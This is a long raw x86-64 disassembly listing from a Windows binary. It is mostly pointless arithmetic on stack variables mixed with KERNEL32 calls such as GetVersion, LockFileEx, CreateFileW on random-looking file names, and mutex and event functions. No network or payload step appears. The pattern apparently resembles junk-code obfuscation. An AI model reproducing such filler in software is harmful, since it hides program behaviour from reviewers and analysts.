call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x9b0c], eax
movzx eax, byte [rsp + 0x7bc]
movzx ecx, byte [rsp + 0x72f]
add eax, ecx
mov rcx, qword [rsp + 0x14340]
mov byte [rcx], al
movzx eax, word [rsp + 0x2c4c]
mov word [0x14036a488], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa56c], eax
mov rcx, qword [rsp + 0x158b0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9c48], eax
mov rax, qword [rsp + 0x12f00]
mov eax, dword [rax]
mov dword [rsp + 0xa570], eax
lea rdx, [rsp + 0x43598]
mov rcx, qword [rsp + 0x14420]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9f88], eax
mov rax, qword [rsp + 0x155a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa428]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9bdc], eax
movzx eax, word [rsp + 0x19a0]
mov rcx, qword [rsp + 0x15f58]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1fe4], ax
lea rax, [rsp + 0x702]
mov qword [rsp + 0x166a0], rax
mov rax, qword [rsp + 0x14020]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x778c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14ef8]
mov dword [rcx], eax
lea rax, [rsp + 0x9c04]
mov qword [rsp + 0x166a8], rax
lea rcx, [rsp + 0x4d1d0]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x9fac], eax
mov eax, dword [rsp + 0x9db8]
mov ecx, dword [rsp + 0x9b78]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa150], eax
lea rax, [rsp + 0x9c80]
mov qword [rsp + 0x166b0], rax
movzx eax, byte [rsp + 0x1f7]
mov rcx, qword [rsp + 0x15c88]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [0x14036a080]
mov byte [rcx], al
mov rax, qword [rsp + 0x14690]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1ab8]
sar eax, cl
mov rcx, qword [rsp + 0x147d0]
mov word [rcx], ax
mov rcx, qword [rsp + 0x15648]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x15420]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x132d8]
mov qword [rsp + 0x166b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x166b8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x5418], eax
mov eax, dword [rsp + 0x9b84]
mov ecx, dword [0x14036a448]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x92c8], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x28fd
mov r9d, 0x378d
mov r8d, 0xa9d11e1f
mov edx, 2
mov rcx, qword [rsp + 0x13d30]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xa574], eax
movsx eax, byte [rsp + 0x7ce]
imul eax, eax, 0x72
mov byte [rsp + 0x399], al
mov edx, 0x23d5
mov rcx, qword [rsp + 0x143a8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9d30], eax
lea rax, [rsp + 0x2020]
mov qword [rsp + 0x166c0], rax
movzx eax, byte [rsp + 0x787]
movzx ecx, byte [rsp + 0x73f]
and eax, ecx
mov byte [rsp + 0x7b4], al
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x2c0e
mov r9d, 0x2d66
mov r8d, 0x43c9066e
mov edx, 1
mov rcx, qword [rsp + 0x16378]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xa37c], eax
movzx eax, word [rsp + 0x12c4]
movzx ecx, word [rsp + 0x18cc]
and eax, ecx
mov rcx, qword [rsp + 0x14f50]
mov word [rcx], ax
mov dword [rsp + 0x4d410], 0x11c
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9edc], eax
lea rax, [rsp + 0xa49c]
mov qword [rsp + 0x166c8], rax
lea rax, [0x14036a220]
mov qword [0x14036a490], rax
mov rax, qword [rsp + 0x13838]
mov ecx, dword [rsp + 0x9ab4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9c94], eax
mov eax, dword [rsp + 0x5fe8]
mov dword [rsp + 0xa578], eax
lea rdx, [rsp + 0x43448]
mov rcx, qword [rsp + 0x13c58]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa1bc], eax
mov rax, qword [rsp + 0x16210]
mov eax, dword [rax]
mov ecx, dword [0x140369d38]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14408]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15658]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2e20]
add eax, ecx
mov word [rsp + 0x1f24], ax
lea rax, [rsp + 0x78f]
mov qword [rsp + 0x166d0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.c3lv4sAA2E1HUJ
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x166d8], rax
mov rax, qword [0x140369d80]
mov ecx, dword [rsp + 0x5c28]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa198], eax
mov rcx, qword [rsp + 0x14ec8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9f70], eax
mov eax, dword [rsp + 0x63b8]
mov dword [rsp + 0xa57c], eax
mov rax, qword [rsp + 0x141b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9ed4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x16008]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa048]
mov ecx, dword [rsp + 0x9518]
or ecx, eax
mov eax, ecx
mov dword [0x1403624ec], eax
lea rdx, [rsp + 0x42db8]
mov rcx, qword [rsp + 0x161f0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa580], eax
movzx eax, byte [rsp + 0x794]
mov rcx, qword [rsp + 0x130b8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13288]
mov byte [rcx], al
lea rax, [rsp + 0x1f4c]
mov qword [rsp + 0x166e0], rax
movsx eax, byte [0x140363f6f]
mov rcx, qword [rsp + 0x13d48]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x13bf8]
mov byte [rcx], al
mov rax, qword [rsp + 0x137a0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x15330]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x28b8], ax
mov rax, qword [rsp + 0x14330]
mov eax, dword [rax]
mov rcx, qword [0x14036a038]
mov qword [rsp + 0x166e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x166e8]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x16668]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9d30], eax
lea rax, [rsp + 0x72b8]
mov qword [rsp + 0x166f0], rax
movzx eax, byte [rsp + 0x7b1]
mov rcx, qword [rsp + 0x13ec0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x79e], al
mov rax, qword [rsp + 0x15c00]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2de0]
add eax, ecx
mov rcx, qword [rsp + 0x13d00]
mov word [rcx], ax
xor r8d, r8d
mov edx, 2
lea rcx, [rsp + 0x4c450]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9ec4], eax
mov rax, qword [rsp + 0x137d8]
mov rcx, qword [rsp + 0x14b68]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [0x140362578], eax
mov rax, qword [rsp + 0x14178]
mov eax, dword [rax]
mov dword [rsp + 0xa584], eax
mov rax, qword [0x140369eb0]
mov ecx, dword [rsp + 0x807c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x876c], eax
mov rax, qword [rsp + 0x14618]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a64]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x5b10], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.yDzna818qYN0xRSG
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x166f8], rax
movzx eax, byte [rsp + 0x746]
mov rcx, qword [rsp + 0x15c50]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x150d8]
mov byte [rcx], al
mov rax, qword [rsp + 0x133c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13508]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14c28]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9c14], eax
lea rdx, [rsp + 0x43100]
mov rcx, qword [rsp + 0x13090]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa4c4], eax
lea rax, [rsp + 0xa0e4]
mov qword [rsp + 0x16700], rax
mov eax, dword [rsp + 0xa110]
mov ecx, dword [0x14036246c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x163e0]
mov dword [rcx], eax
lea rax, [rsp + 0xa254]
mov qword [rsp + 0x16708], rax
mov rax, qword [rsp + 0x14af8]
mov ecx, dword [rsp + 0xa27c]
mov eax, dword [rax]
add eax, ecx
mov dword [0x140362470], eax
mov rax, qword [rsp + 0x15b18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x876c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa388], eax
movsx eax, byte [rsp + 0x319]
movsx ecx, byte [rsp + 0x72c]
or eax, ecx
mov rcx, qword [rsp + 0x14cc8]
mov byte [rcx], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x16710], rax
mov rax, qword [rsp + 0x14920]
movzx eax, word [rax]
mov word [rsp + 0x2e54], ax
mov rax, qword [rsp + 0x12d80]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14ee8]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x2af0], ax
mov rax, qword [rsp + 0x13d80]
movzx eax, byte [rax]
mov byte [rsp + 0x7db], al
mov eax, dword [rsp + 0xa558]
mov rcx, qword [rsp + 0x16500]
mov qword [rsp + 0x16718], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16718]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x7dd0], eax
lea rax, [0x14036256c]
mov qword [rsp + 0x16720], rax
movzx eax, byte [rsp + 0x74f]
mov rcx, qword [rsp + 0x130b8]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x13830]
mov byte [rcx], al
mov rax, qword [rsp + 0x14d08]
movzx eax, word [rax]
movzx ecx, word [0x140369fdc]
xor eax, ecx
mov rcx, qword [0x140369de8]
mov word [rcx], ax
mov rax, qword [rsp + 0x15018]
mov ecx, dword [rsp + 0x7254]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9aec], eax
mov rax, qword [rsp + 0x16368]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa368]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x95e8], eax
mov eax, dword [rsp + 0x9618]
mov ecx, dword [rsp + 0x9eac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa51c], eax
mov rax, qword [rsp + 0x13ac8]
mov eax, dword [rax]
mov dword [rsp + 0xa588], eax
movzx eax, word [rsp + 0x1f38]
movzx ecx, word [rsp + 0x2e48]
imul eax, ecx
mov word [rsp + 0x2b7c], ax
movzx eax, byte [rsp + 0x7d9]
movzx ecx, byte [rsp + 0x49b]
or eax, ecx
mov rcx, qword [rsp + 0x13ec0]
mov byte [rcx], al
mov rax, qword [rsp + 0x155d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9644]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6e6c], eax
mov eax, dword [rsp + 0x9c34]
mov ecx, dword [rsp + 0x9d84]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x161b0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xc6]
mov byte [0x14036400d], al
mov rax, qword [rsp + 0x16170]
movzx eax, word [rax]
mov word [rsp + 0x2e58], ax
mov rax, qword [rsp + 0x15838]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13708]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x3d4], al
movzx eax, word [0x140362448]
mov rcx, qword [rsp + 0x13020]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x16468]
mov word [rcx], ax
lea rax, [rsp + 0x9e68]
mov qword [rsp + 0x16728], rax
mov rax, qword [rsp + 0x14480]
mov rcx, qword [0x140369d68]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x16408]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13f80]
mov ecx, dword [rsp + 0x9c80]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6d6c], eax
mov rax, qword [rsp + 0x15770]
mov rcx, qword [rsp + 0x16518]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa40c], eax
mov eax, dword [rsp + 0x9968]
mov ecx, dword [0x140362514]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9e4c], eax
movzx eax, word [rsp + 0x2d5c]
mov word [rsp + 0x2e5c], ax
movzx eax, byte [rsp + 0x799]
movzx ecx, byte [rsp + 0xeb]
shl eax, cl
mov byte [0x1403525fe], al
mov rax, qword [rsp + 0x16708]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x97b4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa128], eax
lea rax, [rsp + 0xa568]
mov qword [rsp + 0x16730], rax
mov eax, dword [rsp + 0xa030]
mov rcx, qword [rsp + 0x16720]
mov qword [rsp + 0x16738], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16738]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x138d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13a48]
mov eax, dword [rax]
mov dword [rsp + 0xa58c], eax
mov rax, qword [rsp + 0x133b8]
movzx eax, word [rax]
cdq
mov ecx, 0xf24
idiv ecx
mov word [rsp + 0x2c08], ax
mov rax, qword [rsp + 0x13990]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x132a0]
movzx ecx, byte [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x15070]
mov byte [rcx], al
lea rax, [rsp + 0x519]
mov qword [rsp + 0x16740], rax
movsx eax, word [rsp + 0x2c20]
mov rcx, qword [rsp + 0x15a80]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2c9c], ax
mov rax, qword [rsp + 0x13700]
mov rcx, qword [rsp + 0x14a40]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [0x140369c40]
mov dword [rcx], eax
lea rax, [rsp + 0x97a8]
mov qword [rsp + 0x16748], rax
mov rax, qword [rsp + 0x15ae0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x77c]
and eax, ecx
mov byte [rsp + 0x7d1], al
mov rax, qword [rsp + 0x14410]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1764]
add eax, ecx
mov word [rsp + 0x2098], ax
mov eax, dword [rsp + 0x7c1c]
mov ecx, dword [rsp + 0x9f44]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5fd8], eax
mov rax, qword [rsp + 0x16458]
mov rcx, qword [rsp + 0x13a48]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9b54], eax
mov rax, qword [0x14036a088]
mov eax, dword [rax]
mov dword [rsp + 0xa590], eax
mov rax, qword [rsp + 0x13f28]
mov ecx, dword [rsp + 0x9b28]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa450], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9b94], eax
movzx eax, word [rsp + 0x15c4]
movzx ecx, word [0x14036a1a0]
sub eax, ecx
mov rcx, qword [rsp + 0x15320]
mov word [rcx], ax
movzx eax, byte [rsp + 0x788]
movzx ecx, byte [rsp + 0x585]
sub eax, ecx
mov byte [0x1403525fa], al
lea rax, [rsp + 0x9b48]
mov qword [rsp + 0x16750], rax
mov rax, qword [rsp + 0x133e0]
mov rcx, qword [rsp + 0x13040]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa4b8], eax
mov eax, dword [rsp + 0x567c]
mov rcx, qword [rsp + 0x14808]
mov qword [rsp + 0x16758], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16758]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x6d64], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x3b04
mov r9d, 0x3b1c
mov r8d, 0xc731be5
mov edx, 1
mov rcx, qword [rsp + 0x14e40]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xa118], eax
mov rax, qword [rsp + 0x15a08]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14248]
mov qword [rsp + 0x16760], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16760]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa584], eax
lea rax, [0x140369f28]
mov qword [rsp + 0x16768], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x16770], rax
mov rax, qword [rsp + 0x15330]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x130c0]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x13148]
mov word [rcx], ax
mov rax, qword [rsp + 0x148b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14db0]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x76c], al
lea rax, [0x14036400c]
mov qword [rsp + 0x16778], rax
lea rax, [rsp + 0x20d8]
mov qword [0x14036a498], rax
mov rax, qword [rsp + 0x12f00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa474]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13818]
mov dword [rcx], eax
lea rax, [0x14036a3f0]
mov qword [rsp + 0x16780], rax
movzx eax, byte [rsp + 0x120]
mov rcx, qword [rsp + 0x132a0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x225], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa394], eax
movzx eax, word [rsp + 0x2cf4]
movzx ecx, word [rsp + 0x2c4c]
sub eax, ecx
mov word [rsp + 0x2bf4], ax
lea rax, [0x140362508]
mov qword [rsp + 0x16788], rax
mov eax, dword [rsp + 0x8ea4]
mov ecx, dword [rsp + 0x975c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6348], eax
mov rax, qword [rsp + 0x14ce0]
mov eax, dword [rax]
mov dword [rsp + 0xa594], eax
mov rax, qword [rsp + 0x16058]
mov ecx, dword [rsp + 0x9da4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x15958]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15f10]
movzx eax, word [rax]
mov word [0x14036a4a0], ax
movzx eax, byte [rsp + 0x778]
movzx ecx, byte [rsp + 0x737]
imul eax, ecx
mov byte [rsp + 0x13c], al
mov eax, dword [rsp + 0x6080]
mov dword [rsp + 0xa598], eax
mov rax, qword [0x140369e78]
mov rcx, qword [rsp + 0x16278]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x14248]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x319]
movsx ecx, byte [rsp + 0x1d9]
sub eax, ecx
mov byte [rsp + 0x236], al
movsx eax, word [0x1403624b8]
mov rcx, qword [rsp + 0x14280]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14960]
mov word [rcx], ax
mov rax, qword [rsp + 0x143a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x15848]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2a2c], ax
lea rdx, [rsp + 0x435d0]
mov rcx, qword [rsp + 0x15b38]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9a7c], eax
mov rax, qword [rsp + 0x132a0]
movzx eax, byte [rax]
mov byte [rsp + 0x7dc], al
mov eax, dword [rsp + 0x9dec]
mov ecx, dword [0x140362544]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13e40]
mov dword [rcx], eax
xor r8d, r8d
mov edx, 8
lea rcx, [rsp + 0x4c210]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0xa210], eax
mov rax, qword [rsp + 0x13b30]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x162c0]
mov qword [rsp + 0x16790], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16790]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [0x14036a190]
mov dword [rcx], eax
lea rax, [rsp + 0x9b88]
mov qword [rsp + 0x16798], rax
mov eax, dword [rsp + 0x9d38]
movzx ecx, al
mov eax, dword [rsp + 0x9d90]
shl eax, cl
mov rcx, qword [rsp + 0x16648]
mov dword [rcx], eax
lea rax, [rsp + 0x9e58]
mov qword [rsp + 0x167a0], rax
mov rax, qword [rsp + 0x150a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14c00]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x7b9], al
mov rax, qword [0x14036a140]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13500]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0x1c88], ax
mov rax, qword [rsp + 0x15340]
mov rcx, qword [rsp + 0x15ec8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x5d88], eax
mov rax, qword [0x140369c40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9028]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15d78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x131c0]
mov eax, dword [rax]
mov dword [rsp + 0xa59c], eax
mov rax, qword [rsp + 0x149c0]
mov rcx, qword [rsp + 0x15080]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x140369da0]
mov dword [rcx], eax
mov rax, qword [0x140369f98]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x778]
sub eax, ecx
mov byte [rsp + 0x790], al
mov rax, qword [rsp + 0x13e00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13960]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13568]
mov word [rcx], ax
lea rax, [rsp + 0x72c]
mov qword [rsp + 0x167a8], rax
movsx eax, word [rsp + 0x1fa8]
movsx ecx, word [rsp + 0x2b74]
and eax, ecx
mov rcx, qword [rsp + 0x161b8]
mov word [rcx], ax
lea rax, [rsp + 0x9a18]
mov qword [rsp + 0x167b0], rax
mov rax, qword [rsp + 0x140b8]
mov ecx, dword [rsp + 0xa278]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x15840]
mov dword [rcx], eax
movzx eax, word [0x140369c88]
movzx ecx, word [rsp + 0x26fc]
imul eax, ecx
mov rcx, qword [rsp + 0x15cc8]
mov word [rcx], ax
lea rax, [rsp + 0x147]
mov qword [rsp + 0x167b8], rax
lea rax, [rsp + 0x5920]
mov qword [0x14036a4a8], rax
mov rax, qword [0x14036a070]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa584]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa2a8], eax
mov rax, qword [rsp + 0x14438]
mov eax, dword [rax]
mov dword [rsp + 0xa5a0], eax
mov rax, qword [rsp + 0x15400]
mov rcx, qword [rsp + 0x15e40]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7f28], eax
mov rax, qword [rsp + 0x14218]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x15db8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1b98], ax
lea rax, [rsp + 0x3d2]
mov qword [rsp + 0x167c0], rax
mov rax, qword [rsp + 0x13808]
mov rcx, qword [rsp + 0x15f40]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x16238]
mov dword [rcx], eax
lea rax, [rsp + 0xa3d4]
mov qword [rsp + 0x167c8], rax
mov eax, dword [rsp + 0x6f2c]
movzx ecx, al
mov eax, dword [rsp + 0x6ef4]
shl eax, cl
mov rcx, qword [rsp + 0x13298]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14788]
mov rcx, qword [rsp + 0x161e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [0x14036a490]
mov dword [rcx], eax
lea rdx, [rsp + 0x43608]
mov rcx, qword [rsp + 0x13aa0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9fac], eax
mov rcx, qword [rsp + 0x14140]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor r8d, r8d
mov edx, 1
lea rcx, [rsp + 0x4acb0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9ad8], eax
mov rax, qword [rsp + 0x162c0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x158a8]
mov qword [rsp + 0x167d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x167d0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x6c90], eax
movsx eax, word [rsp + 0x2858]
mov rcx, qword [rsp + 0x12e98]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x11d8], ax
movsx eax, byte [rsp + 0x77a]
mov rcx, qword [rsp + 0x15310]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x139c0]
mov byte [rcx], al
lea rdx, [rsp + 0x42bf8]
mov rcx, qword [rsp + 0x13c58]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa5a4], eax
xor r8d, r8d
mov edx, 2
lea rcx, [rsp + 0x4c9f0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9ed0], eax
lea rax, [rsp + 0x792]
mov qword [rsp + 0x167d8], rax
movzx eax, word [rsp + 0x204c]
movzx ecx, word [rsp + 0x2b98]
and eax, ecx
mov rcx, qword [rsp + 0x143c0]
mov word [rcx], ax
mov rax, qword [0x140369dd8]
mov eax, dword [rax]
mov dword [rsp + 0xa5a8], eax
mov rax, qword [rsp + 0x13e88]
mov ecx, dword [rsp + 0x752c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13fb0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x163e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x161]
add eax, ecx
mov byte [rsp + 0x76d], al
mov rax, qword [rsp + 0x153c0]
movzx eax, word [rax]
mov word [0x14036a4b0], ax
mov rcx, qword [rsp + 0x14640]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x14ae8]
mov ecx, dword [rsp + 0x940c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x87f0], eax
mov eax, dword [rsp + 0x58e8]
mov ecx, dword [rsp + 0x9e88]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13730]
mov dword [rcx], eax
mov rax, qword [0x14036a298]
mov eax, dword [rax]
mov dword [rsp + 0xa5ac], eax
mov rax, qword [rsp + 0x132d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5330]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x5284], eax
movzx eax, word [rsp + 0x19b8]
mov rcx, qword [rsp + 0x13d50]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x2d7c], ax
lea rax, [0x140363edf]
mov qword [rsp + 0x167e0], rax
mov eax, dword [rsp + 0x807c]
mov ecx, dword [rsp + 0x59fc]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x149c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x138d8]
mov ecx, dword [rsp + 0x5694]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x52e8], eax
movsx eax, byte [rsp + 0x6f8]
mov rcx, qword [rsp + 0x15500]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [0x14036a010]
mov byte [rcx], al
mov rax, qword [rsp + 0x13b88]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1938]
xor eax, ecx
mov word [rsp + 0x1b34], ax
movzx eax, word [rsp + 0x2e24]
mov word [rsp + 0x2e60], ax
